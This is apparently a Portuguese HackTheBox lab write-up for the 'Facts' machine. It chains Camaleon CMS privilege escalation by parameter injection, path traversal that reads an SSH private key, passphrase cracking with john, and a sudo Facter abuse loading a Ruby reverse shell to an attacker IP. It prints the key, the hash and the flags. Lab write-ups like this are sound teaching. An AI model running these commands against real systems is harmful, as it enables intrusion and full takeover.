Quebrando tudo: CMS CVE, OPENSSH key cracking & Ruby RCE

Introdução
Olá mundo! Bem vindos à mais uma aventura hackthebox.
Facts é uma máquina classificada como sendo de dificuldade fácil, onde temos um servidor web com um CMS vulnerável a CVE-2025-2304 Camaleon CMS Privilege Escalation e a CVE-2024-46987 Authenticated Path Traversal / Arbitrary File Read. Após obter a Chave Privada OpenSSH do usuário trivia, conseguimos obter acesso remoto ao servidor principal. Em seguida podemos obter o root por abusar de uma falha na ferramenta Facter que permite uma execução arbitrária de código.
Vamos ver de perto como foi.
Reconhecimento
Nmap Scan
O scan do NMAP mostrou as portas 22, 80 e 54321 abertas. Havia também um redirecionamento para facts.htb, então adicionei o domínio ao arquivo hostsem /etc.
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 nginx 1.26.3 (Ubuntu)
|_http-server-header: nginx/1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/
54321/tcp open http syn-ack ttl 62 Golang net/http server Web
Ao acessar o domínio encontrei uma página de fatos curiosos.

Rodando a ferramenta Feroxbuster eu encontrei os diretórios /admin/login.
--- REDACTED ---
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 124l 552w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 121l 443w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302 GET 0l 0w 0c http://facts.htb/admin => http://facts.htb/admin/login
200 GET 69l 448w 30396c http://facts.htb/randomfacts/logopage2.png
200 GET 66l 519w 44082c http://facts.htb/randomfacts/primary-question-mark.png
404 GET 2l 9w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 7l 10w 162c http://facts.htb/randomfacts/
404 GET 114l 371w 4836c http://facts.htb/fonts.googleapis.com/
200 GET 160l 773w 15365c http://facts.htb/finland-happiest
200 GET 160l 721w 15004c http://facts.htb/animal-sweat
--- REDACTED --- 
Nessa página eu consegui me registrar e me logar. Ao fazer o login sou redirecionado a um dashboard em /admin.
Painel Administrador

O painel administrador não tinha muita funcionalidade pois eu não tinha acesso privilegiado. Mas no rodapé da página havia uma informação muito interessante. Nela continha a versão do CMS usado, oCamaleon CMS 2.9.0.
Essa informação me permitiu encontrar duas vulnerabilidades com criticidades CRÍTICA e ALTA - a CVE-2025-2304 Camaleon CMS Privilege Escalation e a CVE-2024-46987 Authenticated Path Traversal / Arbitrary File Read respectivamente.
Acesso Inicial
Sabendo das vulnerabilidades, agora eu podia unir os pontos e alcançar meu objetivo: a rede interna.
CVE-2025-2304
Essa vulnerabilidade é bem simples de explorar, pois exige apenas um proxy como o Burpsuite. Há também várias POCs prontas pra uso em Python no Github, como essa aqui.
Para explorar é só seguir os seguintes passos:
- Registro e login como usuário comum, sem privilégios.
- Fazer uma troca de senha e interceptar com um proxy, por exemplo
BurpsuiteouCaido. - A mudança é feita na requisição updated_ajax. Após os parâmetros de username e password, injetar o parâmetro
&password[role]=admin. - Encaminhe a requisição clicando em forward.
- O servidor processa a requisição e atualiza os privilégios.
Por que essa falha acontece?
Ela acontece devido a uma falha na filtragem dos parâmetros na atualização de perfil. O método
updated_ajaxnão filtra corretamente os parâmetros, permitindo que usuários mal-intencionados modifiquem os perfis e ganhem permissões de administrador, podendo ter total acesso e controle sobre os dados sensíveis de outros usuários
Depois de executar os passos acima, eu explorei a próxima vulnerabilidade.
CVE-2024-46987
Usando essa POC do Github, eu consegui ler arquivos do servidor por meio de Path Traversal.
Por exemplo, eu pude ler o arquivo passwd que contém todos os usuários válidos do servidor.
┌──(kali㉿kali)-[~/…/Hackthebox/Easy/Facts/tools]
└─$ python3 CVE-2024-46987.py -u http://facts.htb -l preacher -p preacher -v /etc/passwd
[*] Récupération du token sur http://facts.htb/admin/login
[*] Authentification réussie.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
--- REDACTED ---
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
_laurel:x:101:988::/var/log/laurel:/bin/false Haviam dois usuários com diretório /home no servidor. Em um deles deveria estar a flag do usuário. Assim testei os dois, pois as flags de usuário no Hackthebox sempre estão no padrão /home/usuário/user.txt.
┌──(kali㉿kali)-[~/…/Hackthebox/Easy/Facts/tools]
└─$ python3 CVE-2024-46987.py -u http://facts.htb -l preacher -p preacher -v /home/trivia/user.txt
[*] Récupération du token sur http://facts.htb/admin/login
[*] Authentification réussie.
[*] Erreur HTTP 500
┌──(kali㉿kali)-[~/…/Hackthebox/Easy/Facts/tools]
└─$ python3 CVE-2024-46987.py -u http://facts.htb -l preacher -p preacher -v /home/william/user.txt
[*] Récupération du token sur http://facts.htb/admin/login
[*] Authentification réussie.
a22c6f2d683272152f6d382b4336c20f Bingo!! Eu tinha conseguido ler a flag do usuário!
Mas eu ainda não tinha como invadir o servidor. Eu apenas conseguia ler os arquivos do sistema, mas não conseguia escrever. Foi então que tive uma idéia.
Chave Privada id_ed25519
Caminho intencionado
O passo a seguir foi bem sucedido mas se baseou em palpites, tentativas e erros. Eu não tinha percebido, mas depois de me tornar administrador no site, eu poderia ter encontrado credenciais de um bucket s3. Daí poderia me conectar ao bucket remotamente acessar a chave privada de forma mais fácil e sem frustrações.
Além disso, no scan doNmapa porta 54321 estava aberta. Se tivesse consultado com uma IA o resultado, saberia que havia um Bucket s3 rodando comMinIO.
Em algumas máquinas que fiz anteriormente, eu podia acessar o servidor via SSH usando a chave privada do usuário. Foi então que procurei pela chaves id_rsa e id_ed25519 nos diretórios /.ssh dos dois usuários. E encontrei a chave id_ed25519 do usuário trivia.
┌──(kali㉿kali)-[~/Boxes/Hackthebox/Easy/Facts]
└─$ python3 tools/CVE-2024-46987.py -u http://facts.htb -l preacher2 -p preacher -v /home/trivia/.ssh/id_ed25519
[*] Récupération du token sur http://facts.htb/admin/login
[*] Authentification réussie.
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABB4Y2xFbb
win28QI30uPAEsAAAAGAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAINv36AqiZfb/NuCm
7UbMlEShbiezfjKcFjPfpk6DPWzdAAAAoAuMojjProDLNef5JwveZu51yrEb0mLte4s7AH
y3atZArUT2uWTztqv1AGOT4/bLGwAHouU1EMsyIBx1tHWdz2Z/+Cki3Pa4/ygSmQv7bduF
oerp49BYWNpubB38y78rl6K7k9hnkCA2zxpQ1Z1hv/JYTWkROC6xNzChru6WGQIfIo77DX
1fRfN7BVJVm/XvpiKIbtVhpmrk67/20EbiNQc=
-----END OPENSSH PRIVATE KEY-----Daí dei as permissões corretas ao arquivo.
┌──(kali㉿kali)-[~/Boxes/Hackthebox/Easy/Facts]
└─$ chmod 600 id_ed25519_triviaE entrei no servidor via SSH… ou era isso o que eu achei que fosse acontecer…
┌──(kali㉿kali)-[~/Boxes/Hackthebox/Easy/Facts]
└─$ ssh -i id_ed25519_trivia trivia@facts.htb
The authenticity of host 'facts.htb (10.129.21.113)' can't be established.
ED25519 key fingerprint is: SHA256:fygAnw6lqDbeHg2Y7cs39viVqxkQ6XKE0gkBD95fEzA
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'facts.htb' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_ed25519_trivia':Eu ainda precisava de uma senha para entrar.
Shell como trivia
Eu não tinha a senha, mas tinha a chave privada. Se a senha fosse fraca era possível descobrir usando a ferramenta john the ripper. E as senhas das máquinas do hackthebox costumam ser fracas propositalmente.
Usando a ferramenta ssh2john eu gerei um hash no formato do john the ripper para poder obter a senha.
┌──(kali㉿kali)-[~/Boxes/Hackthebox/Easy/Facts]
└─$ ssh2john id_ed25519_trivia
id_ed25519_trivia:$sshng$6$16$78636c456dbc229f6f10237d2e3c012c$290$6f70656e7373682d6b65792d7631000000000a6165733235362d63747200000006626372797074000000180000001078636c456dbc229f6f10237d2e3c012c0000001800000001000000330000000b7373682d6564323535313900000020dbf7e80aa265f6ff36e0a6ed46cc9444a16e27b37e329c1633dfa64e833d6cdd000000a00b8ca238cfae80cb35e7f9270bde66ee75cab11bd262ed7b8b3b007cb76ad640ad44f6b964f3b6abf5006393e3f6cb1b0007a2e53510cb32201c75b4759dcf667ff82922dcf6b8ff2812990bfb6ddb85a1eae9e3d05858da6e6c1dfccbbf2b97a2bb93d867902036cf1a50d59d61bff2584d6911382eb13730a1aeee9619021f228efb0d7d5f45f37b0552559bf5efa622886ed561a66ae4ebbff6d046e23507$24$130Depois foi só usar o john the ripper e encontrar a senha dragonballz.
┌──(kali㉿kali)-[~/Boxes/Hackthebox/Easy/Facts]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt trivia_hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:07:32 0.02% (ETA: 2026-04-29 18:21) 0g/s 6.474p/s 6.474c/s 6.474C/s porkchop..123456789a
dragonballz (id_ed25519_trivia)
1g 0:00:08:11 DONE (2026-03-29 02:33) 0.002034g/s 6.508p/s 6.508c/s 6.508C/s jhonatan..mariano
Use the "--show" option to display all of the cracked passwords reliably
Session completed.Dessa vez eu consegui me conectar ao servidor via SSH.
┌──(kali㉿kali)-[~/Boxes/Hackthebox/Easy/Facts]
└─$ ssh -i id_ed25519_trivia trivia@facts.htb
The authenticity of host 'facts.htb (10.129.21.113)' can't be established.
ED25519 key fingerprint is: SHA256:fygAnw6lqDbeHg2Y7cs39viVqxkQ6XKE0gkBD95fEzA
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'facts.htb' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_ed25519_trivia':
Last login: Wed Jan 28 16:17:19 UTC 2026 from 10.10.14.4 on ssh
Welcome to Ubuntu 25.04 (GNU/Linux 6.14.0-37-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun Mar 29 05:40:18 AM UTC 2026
System load: 0.03
Usage of /: 71.9% of 7.28GB
Memory usage: 18%
Swap usage: 0%
Processes: 222
Users logged in: 1
IPv4 address for eth0: 10.129.21.113
IPv6 address for eth0: dead:beef::250:56ff:fe94:db52
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
trivia@facts:~$Escalação de Privilégios
Facter
Testando a permissão de sudo descobri que poderia rodar a ferramenta Facter como root e sem senha.
trivia@facts:~$ sudo -l
Matching Defaults entries for trivia on facts:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter Facter
O Facter é uma ferramenta de linha de comando leve, utilizada para coletar e exibir informações detalhadas (“fatos”) sobre o sistema, como hardware, rede, sistema operacional e configurações de memória. Ele é comumente usado am automação para identificar o ambiente antes de aplicar configurações. É dái que vem o nome da máquina - Facts.
A ferramenta Facter possui uma entrada no site gtfobins. A vulnerabilidade consiste em criar um arquivo Ruby malicioso e usar o parâmetro --custom-dir=/caminho/para/o/arquivo para forçar o programa a ler o código malicioso primeiro e executá-lo como root.
Shell como root
Então primeiro criei uma shell reversa em Ruby.
trivia@facts:~$ vim shell.rb
trivia@facts:~$ cat shell.rb
#!/usr/bin/env ruby
require 'socket'
s = Socket.new 2,1
s.connect Socket.sockaddr_in 9001, '10.10.15.250'
[0,1,2].each { |fd| syscall 33, s.fileno, fd }
exec '/bin/bash -i'Depois executei o programa com o parâmetro --custom-dir=/home/trivia, que era onde estava a shell reversa.
Na máquina alvo:
trivia@facts:~$ sudo /usr/bin/facter --custom-dir=/home/triviaNa máquina atacante:
┌──(kali㉿kali)-[~/…/Hackthebox/Easy/Facts/tools]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.15.250] from (UNKNOWN) [10.129.21.113] 38692
root@facts:/home/trivia# id
id
uid=0(root) gid=0(root) groups=0(root)
root@facts:/home/trivia# whoami
whoami
root
root@facts:/home/trivia# cd
cd
root@facts:~# ls -la
ls -la
total 60
drwx------ 10 root root 4096 Mar 29 02:02 .
drwxr-xr-x 20 root root 4096 Jan 28 15:15 ..
lrwxrwxrwx 1 root root 9 Jan 26 11:40 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Oct 7 2024 .bashrc
drwx------ 3 root root 4096 Jan 28 15:15 .cache
drwx------ 3 root root 4096 Jan 28 15:15 .config
-rw------- 1 root root 20 Jan 12 08:32 .lesshst
drwxr-xr-x 3 root root 4096 Jan 28 15:15 .local
drwx------ 4 root root 4096 Jan 28 15:15 .mc
drwxr-x--- 2 root root 4096 Jan 28 15:15 minio-binaries
drwxr-xr-x 4 root root 4096 Jan 28 15:15 ministack
-rw-r--r-- 1 root root 132 Apr 9 2025 .profile
-rw-r----- 1 root root 33 Mar 29 02:02 root.txt
drwx------ 3 root root 4096 Jan 28 15:15 snap
drwx------ 2 root root 4096 Jan 28 15:15 .ssh
-rw-r--r-- 1 root root 165 Jan 26 11:39 .wget-hsts
root@facts:~# cat root.txt
cat root.txt
535c022ed83a6d990673627165e270d7
root@facts:~#Conclusão

Essa máquina possui algumas vulnerabilidades interessantes e não exige muito tempo na parte de Reconhecimento. Porém é necessário prestar atenção aos pequenos detalhes (exemplo: o serviço exposto na porta 54321), para não ficar perdido no caminho.
Segue a abaixo o fluxo do ataque até chegar ao root:
